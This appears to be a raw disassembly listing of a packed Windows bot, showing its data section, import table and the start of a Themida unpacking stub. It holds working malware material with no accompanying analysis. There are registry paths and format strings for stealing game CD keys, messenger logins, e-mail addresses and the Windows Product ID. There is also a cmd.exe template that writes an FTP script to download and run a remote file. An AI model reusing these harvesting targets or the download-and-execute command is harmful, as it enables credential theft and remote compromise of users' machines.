aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457D0o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:00434FBAo
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00434F7Eo
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
		align 4
		dd 0
dword_44693C	dd 3A6D6961h, 732520h, 0dword_446948	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:00434E82o
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_446A7C	dd 3A6E736Dh, 732520h, 0dword_446A88	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00435447o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4356F0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4356F0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4356F0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4356F0+3BBo
		align 4


loc_446BB4:				; DATA XREF: sub_4356F0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_446BBF:				; DATA XREF: sub_4356F0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BCB:				; DATA XREF: sub_4356F0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BD7:				; DATA XREF: ___:00435EB6o
					; ___:00436110o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_446BE8:				; CODE XREF: ___:00446BEDj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_446BE8
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043633Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_446CE0	dd offset off_43E1D4	; DATA XREF: ___:off_43E318o
					; ___:0043E354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Bh dup(0)
byte_446F70	db 0			; DATA XREF: sub_4034E0+95o
					; sub_404640+200o ...
		align 4
dword_446F74	dd 0							; sub_4245F0+11o ...
dword_446F78	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D3DFr ...
		align 10h
dword_446F80	dd 0							; ___:0040D345w ...
		dd 8 dup(0)
dword_446FA4	dd 41h dup(0)						; ___:0040D380o ...
dword_4470A8	dd 0							; ___:loc_40D3D4r ...
dword_4470AC	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D34Fr ...
dword_4470B0	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D580+CAw
dword_4470B4	dd 0							; sub_40D580+E3r
		dd 11h dup(0)
dword_4470FC	dd 0							; sub_40FF60+47Dr
dword_447100	dd 0							; sub_40FF60+515r ...
dword_447104	dd 0							; sub_40FF60+655r ...
dword_447108	dd 0							; sub_40FF60+B79r ...
dword_44710C	dd 0							; sub_40FF60+74Br
dword_447110	dd 0							; sub_40FF60+828r
dword_447114	dd 0							; sub_40FF60+77Cr
dword_447118	dd 0							; sub_40FF60+4DDr ...
dword_44711C	dd 0							; sub_40FF60+311r
dword_447120	dd 0							; sub_40FF60+34Dr ...
dword_447124	dd 0							; sub_40FF60+33Dr
dword_447128	dd 0							; sub_40FF60+3D2r
dword_44712C	dd 0							; sub_40FF60+E93r
dword_447130	dd 0							; sub_40FF60+1220r ...
dword_447134	dd 0							; sub_411FE0+4DAr
dword_447138	dd 0							; sub_40FF60+683r
dword_44713C	dd 0							; sub_40FF60+6B5r
dword_447140	dd 0							; sub_40FF60+1252r
		dd 5 dup(0)
dword_447158	dd 10h dup(0)						; ___:0040405Fo ...
		db 2 dup(0)
byte_44719A	db 0			; DATA XREF: sub_409A30r sub_409AA0r
		align 4
		db 3 dup(0)
byte_44719F	db 0			; DATA XREF: sub_40D580+10Fr
		db 0
byte_4471A1	db 0			; DATA XREF: sub_40DB10r
word_4471A2	dw 0			; DATA XREF: sub_40DB10+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_4472B7	db 0			; DATA XREF: ___:00412ECAo
					; ___:00412F7Fo ...
		db 3 dup(0)
byte_4472BB	db 0			; DATA XREF: sub_41F860:loc_41F89Dr
		align 10h
dword_4472C0	dd 12h dup(0)						; sub_40FF60+114o
		db 0
byte_447309	db 3 dup(0)		; DATA XREF: ___:00408ADEo
					; sub_40FF60+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_447352	dw 0			; DATA XREF: ___:00408AB5o
					; sub_40FF60+132o
		dd 6 dup(0)
word_44736C	dw 0			; DATA XREF: sub_40FF60+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44739B	db 0			; DATA XREF: ___:00408B07o
					; sub_40FF60+17Co ...
		dd 12h dup(0)
dword_4473E4	dd 12h dup(0)						; sub_40FF60+F7o ...
		db 0
byte_44742D	db 3 dup(0)		; DATA XREF: ___:00408A40o
					; sub_40FF60+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_4474BF	db 0			; DATA XREF: ___:00408B30o
					; sub_40FF60+19Ao
		dd 24h dup(0)
		db 0
byte_447551	db 3 dup(0)		; DATA XREF: sub_425020+2Bo
					; sub_425020+37o
		dd 11h dup(0)
		db 2 dup(0)
word_44759A	dw 0			; DATA XREF: ___:00412E9Ao
					; ___:00412EB9o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44768F	dd 0							; sub_41EF30+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_447769	db 0			; DATA XREF: sub_41B950+18r
		align 4
		dd 36h dup(0)
byte_447844	db 0			; DATA XREF: sub_40FF60+842r
		align 4
		dd 0Bh dup(0)
dword_447874	dd 18h dup(0)						; sub_40ED70+97o ...
		db 2 dup(0)
byte_4478D6	db 0			; DATA XREF: sub_404C70+258r
					; sub_41D830+671r
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_44791F	db 0			; DATA XREF: sub_404C70:loc_404EE0r
					; sub_41D830:loc_41DEB9r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44794F	db 0			; DATA XREF: sub_404C70+279o
					; sub_41D830+692o ...
		dd 12h dup(0)
dword_447998	dd 2Bh dup(0)						; sub_41EF30+630o ...
dword_447A44	dd 0				dd 11h dup(0)
		db 0
dword_447A8D	dd 0				align 4
		dd 0D9h	dup(0)
byte_447DF8	db 0			; DATA XREF: sub_41EF30+146r
					; sub_41EF30+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_448C9E	dw 0			; DATA XREF: sub_404640+1BDo
					; sub_404B10+31o ...
		db 2 dup(0)
word_448CA2	dw 0			; DATA XREF: sub_404B10+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_448D16	dw 0			; DATA XREF: sub_407660+36o
					; sub_4076F0+3Eo ...
		dd 26h dup(0)
dword_448DB0	dd 86h dup(0)						; sub_404C70+27Eo ...
		db 3 dup(0)
byte_448FCB	db 0			; DATA XREF: sub_425640+3Bw
					; sub_4256B0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_4491CB	dd 0							; sub_4256B0+4Fw ...
dword_4491CF	dd 0							; ___:004240BDw ...
dword_4491D3	dd 0							; sub_4256B0+5Dr ...
dword_4491D7	dd 0							; sub_4256B0+8Cr ...
dword_4491DB	dd 0							; sub_4256B0+9Dr
dword_4491DF	dd 0							; ___:004240F1r ...
byte_4491E3	db 0			; DATA XREF: sub_425640+42w
					; sub_4256B0+85w
dword_4491E4	dd 3018h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_444F40o
dword_455248	dd 0EB85h dup(0)
dword_49005C	dd 8267h dup(0)			db 3 dup(0)
byte_4B09FB	db 0			; DATA XREF: Themida_:005A0528o
		dd 2E3Bh dup(0)
		db 0
byte_4BC2E9	db 3 dup(0)		; DATA XREF: ___:off_402009o
		dd 6058h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44433Co
		dd 6DEh	dup(0)
		db 3 dup(0)
dword_4D5FCB	dd 0							; sub_4258E0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D60B5	db 3 dup(0)		; DATA XREF: sub_404C20+1Eo
					; sub_404C70+65o ...
		dd 5 dup(0)
byte_4D60CC	db 0			; DATA XREF: sub_404C70+292w
					; sub_404C70+4EEw
dword_4D60CD	dd 0							; sub_422A40:loc_4231C4r ...
		align 4
		dd 0
		db 0
dword_4D60D9	dd 0							; sub_404C20+2Aw
byte_4D60DD	db 3 dup(0)		; DATA XREF: ___:00412EF4o
					; ___:00412F17o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D6107	dd 0							; sub_427AD0:loc_427BC7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D61CB	db 0			; DATA XREF: sub_425870+16o
					; sub_4258A0+19o
		db 3 dup(0)
byte_4D61CF	db 0			; DATA XREF: sub_4257A0+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D638F	db 0			; DATA XREF: ___:004081C6o
					; ___:00408657o ...
		dd 8 dup(0)
dword_4D63B0	dd 0				dd 51h dup(0)
		db 0
byte_4D64F9	db 0			; DATA XREF: sub_426820:loc_4268D0r
					; sub_426CE0:loc_426D95r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D6775	dd 0							; sub_426CE0+7Dw ...
		align 4
dword_4D677C	dd 1EDAh dup(0)
		db 0
byte_4DE2E5	db 3 dup(0)		; DATA XREF: ___:00419E93o
					; sub_419F50+13o
dword_4DE2E8	dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E5DCF	db 0			; DATA XREF: sub_426A60+1Do
		dd 21h dup(0)
		db 0
byte_4E5E55	db 3 dup(0)		; DATA XREF: ___:00419EA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E672F	db 0			; DATA XREF: sub_426A60+2Fo
		dd 1D5h	dup(0)
byte_4E6E84	db 0			; DATA XREF: sub_404C70+299w
					; sub_40FF60:loc_40FFA2r ...
byte_4E6E85	db 3 dup(0)		; DATA XREF: sub_404C70+235o
					; sub_404C70+87Ao ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E6E9A	dw 0			; DATA XREF: sub_404C70+2D4o
					; ___:0040866Bo ...
		dd 0Fh dup(0)
		db 0
byte_4E6ED9	db 0			; DATA XREF: sub_41F860+31w
					; sub_41F860+47w ...
		db 0
byte_4E6EDB	db 0			; DATA XREF: sub_418490+21o
					; sub_41D830+341o ...
		dd 751Eh dup(0)
dword_504354	dd 0AC6h dup(0)	dword_506E6C	dd 1000h dup(0)						; ___:00419A9Do ...
dword_50AE6C	dd 333h	dup(0)						; ___:00419AB8o ...
dword_50BB38	dd 0							; sub_41A010+1Br ...
		dd 3 dup(0)
dword_50BB48	dd 0							; ___:0041FB3Dw ...
dword_50BB4C	dd 0							; sub_41FA90+2Aw ...
dword_50BB50	dd 0		dword_50BB54	dd 0							; ___:0041FB5Bw
dword_50BB58	dd 0		dword_50BB5C	dd 0							; ___:0041FB67w ...
dword_50BB60	dd 0							; ___:0041FB6Dw ...
dword_50BB64	dd 0							; ___:00420DA9o
dword_50BB68	dd 0							; sub_41FA90:loc_41FAB4r ...
dword_50BB6C	dd 0							; ___:0041FB81w
dword_50BB70	dd 0							; sub_420530+41w ...
dword_50BB74	dd 0							; sub_420530+7Fr
dword_50BB78	dd 0							; sub_420530+92r ...
dword_50BB7C	dd 0							; sub_420530+148r
		dd 3 dup(0)
dword_50BB8C	dd 0							; ___:0041C1A5o
dword_50BB90	dd 0							; sub_423720+5r ...
dword_50BB94	dd 0							; ___:00423EB1r ...
		dd 7CEh	dup(0)
dword_50DAD0	dd 6 dup(0)						; ___:00423DB2o ...
dword_50DAE8	dd 196h	dup(0)						; sub_423660+6Do
dword_50E140	dd 0		word_50E144	dw 0			; DATA XREF: sub_424E90+A9r
		align 4
byte_50E148	db 0			; DATA XREF: sub_4254E0:loc_425540r
					; sub_4254E0+97w
		align 4
dword_50E14C	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_426820+D9r
dword_50E150	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_426820+45r
dword_50E154	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_426820+54r ...
		dd 0
dword_50E15C	dd 80h dup(0)						; sub_426A60+129o
dword_50E35C	dd 0		dword_50E360	dd 0				dd 1Dh dup(0)
dword_50E3D8	dd 0							; ___:0042B11Dr ...
dword_50E3DC	dd 0							; sub_42CB10:loc_42CBA6r ...
dword_50E3E0	dd 0		; resolved to->WS2_32.connect					; sub_431280+2Dr ...
dword_50E3E4	dd 0		dword_50E3E8	dd 0							; sub_430270r ...
dword_50E3EC	dd 0		dword_50E3F0	dd 0							; sub_42F6B0+111w ...
dword_50E3F4	dd 0							; sub_42F6B0+F6r ...
dword_50E3F8	dd 0							; ___:loc_4303B0r
dword_50E3FC	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_430FE0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Dh	dup(0)
dword_50E900	dd 10h dup(0)						; sub_430180:loc_4301B0o ...
dword_50E940	dd 8 dup(0)						; sub_42F540+25o ...
dword_50E960	dd 8 dup(0)						; sub_430690+25o ...
dword_50E980	dd 8 dup(0)						; sub_431560+84o ...
dword_50E9A0	dd 8 dup(0)						; sub_431560+8Bo ...
dword_50E9C0	dd 9 dup(0)						; sub_42F6B0:loc_42F7C7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 182h dup(0)
		dd 5 dup(6BC47F69h), 5 dup(400573A7h), 5 dup(4582CB05h)
		dd 5 dup(64E3911h), 5 dup(39C96FA3h), 5	dup(73FC0644h)
		dd 5 dup(40F754D1h), 5 dup(2623ABA7h), 5 dup(484273BDh)
		dd 5 dup(322488D8h), 5 dup(34E2EB2Ah), 1Eh dup(0)
		dd 73FC0644h, 10h dup(0)
		dd 34E2EB2Ah, 58h dup(0)
		dd 64E3911h, 1Bh dup(0)
		dd 484273BDh, 14h dup(0)
		dd 400573A7h, 52h dup(0)
		dd 6BC47F69h, 1Bh dup(0)
		dd 322488D8h, 0Bh dup(0)
		dd 40F754D1h, 0Ch dup(0)
		dd 39C96FA3h, 2Bh dup(0)
		dd 2623ABA7h, 11h dup(0)
		dd 4582CB05h, 0Ah dup(0)
		dd 288068Ch, 2890000h, 28A0000h
dword_50F710	dd 28A1486h			db 0CCh
		db 16h,	8Ah, 2
dword_50F718	dd 28A196Ch			dd 28A1D33h, 28B0000h
dword_50F724	dd 28C0000h			dd 28D0000h, 28D047Bh, 28D079Ch, 28D0AD5h
dword_50F738	dd 28E0000h						; sub_40E7A0+25Ar ...
dword_50F73C	dd 28E05ACh	dword_50F740	dd 28E089Ah			dd 28E09A5h, 28F0000h
dword_50F74C	dd 28F0371h						; sub_40ED70+15Er ...
		dd 28F05E5h
dword_50F754	dd 2900000h						; sub_40E7A0+22Cr
		dd 2910000h
dword_50F75C	dd 291027Bh						; sub_4207E0+285r ...
		dd 2920000h
dword_50F764	dd 292115Fh						; sub_40E7A0+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
		dd 26F0000h, 26F0145h, 2700000h, 2700688h, 2700832h, 2700B73h
		dd 2700D28h, 2710000h, 2710770h, 2710AA6h, 2710D77h, 2720000h
		dd 272059Dh, 27205F0h, 272099Dh, 2720D7Fh, 2730000h, 2730378h
		dd 27304F8h, 2730884h, 27308DFh, 2730E5Ah, 2740000h, 27402C0h
		dd 2740546h, 274075Bh, 2740A0Dh, 2740CC3h, 2740E6Bh, 2750000h
		dd 27501F5h, 2750238h
dword_50F858	dd 275036Eh	dword_50F85C	dd 2750A65h	dword_50F860	dd 2750BE7h			dd 7C901005h, 7C9010EDh, 2750D8Dh, 2750E10h
dword_50F874	dd 2760000h						; sub_420530+FEr
		dd 27605D2h, 2760B59h, 2770000h, 277043Ah, 2780000h, 2790000h
		dd 279081Fh, 27A0000h, 27B0000h, 27B0922h
dword_50F8A0	dd 27C0000h						; sub_420530:loc_42057Cr ...
dword_50F8A4	dd 27C08B0h						; sub_40FF60+47r ...
		dd 27C0942h, 27D0000h, 27D04F0h, 27E0000h, 27E11B4h, 27F0000h
		dd 2800000h
dword_50F8C4	dd 2801617h			dd 2801800h, 2801BD7h
dword_50F8D0	dd 2801E3Fh						; sub_41B4B0+2Fr ...
		dd 2810000h
dword_50F8D8	dd 2810703h						; sub_4203D0+2Er ...
		dd 2810ABEh, 2820000h, 2820B46h
dword_50F8E8	dd 2830000h			dd 28302B8h, 2840000h, 2850000h, 2860000h, 2860AE2h, 2870000h
		dd 2870703h, 2870B50h
		dd 2880000h
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC	dd 760AC190h			dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
		dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
		dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh
		dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h
		dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h
		dd 77C3A3DBh, 77C4186Ah
dword_50FA60	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42D2C0+53r ...
dword_50FA64	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78	dd 77C5F988h	; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0C0h, 0C2h, 77h
dword_50FA80	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_50FA84	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42CB10+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C41B72h
dword_50FA90	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_50FA94	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_50FA98	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_50FA9C	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_50FAA0	dd 77C41574h	; resolved to->MSVCRT.ftelldword_50FAA4	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_50FAAC	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C2DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_50FABC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41B950+17Er ...
		dd 77C371BCh
dword_50FAC4	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42DFD0+34r ...
		dd 77C2C407h
dword_50FACC	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_50FAD4	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42CB10+90r
dword_50FAD8	dd 77C3FA76h	; resolved to->MSVCRT._snprintf		db 90h
		db 0CFh, 0C1h, 77h
dword_50FAE0	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_50FAF4	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BC90+5Dr
dword_50FAF8	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_40FF60+1126r ...
dword_50FAFC	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419BDAr
		dd 77C29CDDh, 77C293C7h
dword_50FB08	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422A40+203r ...
		dd 77C35F0Dh, 77C46170h
dword_50FB14	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 2880304h
off_50FBF0	dd offset sub_5EFFD5	; DATA XREF: ___:00419EBDr
					; sub_419F50+2Dr ...
		dd 0Bh dup(0)
dword_50FC20	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB951Eh, 71AB3E00h
dword_50FC2C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425020:loc_4250C9r ...
dword_50FC30	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42A5F0:loc_42A6ABr
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AB88D3h
dword_50FC50	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42B540+E8r
		dd 71AB2BC0h
dword_50FC58	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_50FC5C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42A5F0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh
dword_50FC78	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB2BC0h
dword_50FC80	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A6D0+48r ...
dword_50FC84	dd 71AC1028h	; resolved to->WS2_32.acceptdword_50FC88	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F860+198r ...
dword_50FC8C	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004216E1r ...
dword_50FC90	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_427AD0+18Dr ...
		dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
		dd 76D6AC1Dh, 4C5h dup(0)
___		ends

; Section 2. (virtual address 00111000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00111000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 511000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00112000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00112000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 512000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 112050h, 112000h, 3 dup(0)
		dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00113000)
; Virtual size			: 000FB000 (1028096.)
; Section size in file		: 000FB000 (1028096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 513000h
		dd 0DB68A41Ch, 4F492h, 5EA04h, 158172h,	0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00513265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0057DB9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00581095 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0058130B SIZE 00000050 BYTES
; FUNCTION CHUNK AT 005813B2 SIZE 00000003 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_513086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_513041
		popa
		jmp	short loc_513076
; ---------------------------------------------------------------------------
a70q		db 'Û-70Q',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_513041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51304E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51306D
